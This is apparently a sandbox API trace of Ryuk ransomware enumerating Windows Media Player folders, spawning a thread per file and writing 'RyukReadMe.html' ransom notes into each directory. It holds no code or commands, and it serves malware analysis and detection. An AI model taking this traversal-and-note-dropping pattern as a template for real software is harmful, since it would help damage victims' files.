	[0261.883] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0261.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4
	[0262.115] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.116] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
	[0262.116] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0262.119] SetLastError (dwErrCode=0x0) 
	[0262.119] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.119] GetLastError () returned 0x3
	[0262.119] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0262.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.119] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0262.119] SetLastError (dwErrCode=0x0) 
	[0262.119] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914
	[0262.120] GetLastError () returned 0xb7
	[0262.120] CloseHandle (hObject=0x914) returned 1
	[0262.120] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0262.281] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.281] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x200, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0262.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0262.284] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.285] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x200, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0262.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0262.287] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.287] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x200, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0262.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0262.289] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.290] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x200, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0262.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0262.292] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.293] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x200, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0262.293] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0262.295] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.296] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x200, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0262.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0262.298] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.299] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0262.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0262.302] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.302] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x200, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0262.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0262.305] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.305] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x200, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0262.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0262.600] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.601] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x200, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0262.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c
	[0262.603] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.604] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x200, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0262.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0262.606] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.607] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0262.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0262.609] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.609] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
	[0262.610] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0262.612] SetLastError (dwErrCode=0x0) 
	[0262.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.612] GetLastError () returned 0x3
	[0262.612] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0262.613] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.613] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0
	[0262.613] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0262.613] SetLastError (dwErrCode=0x0) 
	[0262.613] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0262.613] GetLastError () returned 0xb7
	[0262.613] CloseHandle (hObject=0x918) returned 1
	[0262.614] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0262.614] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0262.614] SetLastError (dwErrCode=0x0) 
	[0262.614] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0262.614] GetLastError () returned 0xb7
	[0262.614] CloseHandle (hObject=0x910) returned 1
	[0262.615] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0262.615] SetLastError (dwErrCode=0x0) 
	[0262.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0262.615] GetLastError () returned 0xb7
	[0262.615] CloseHandle (hObject=0x910) returned 1
	[0262.615] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0262.617] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.617] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.617] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0262.617] SetLastError (dwErrCode=0x0) 
	[0262.617] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0262.618] GetLastError () returned 0x0
	[0262.618] WriteFile (in: hFile=0x910, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0262.621] CloseHandle (hObject=0x910) returned 1
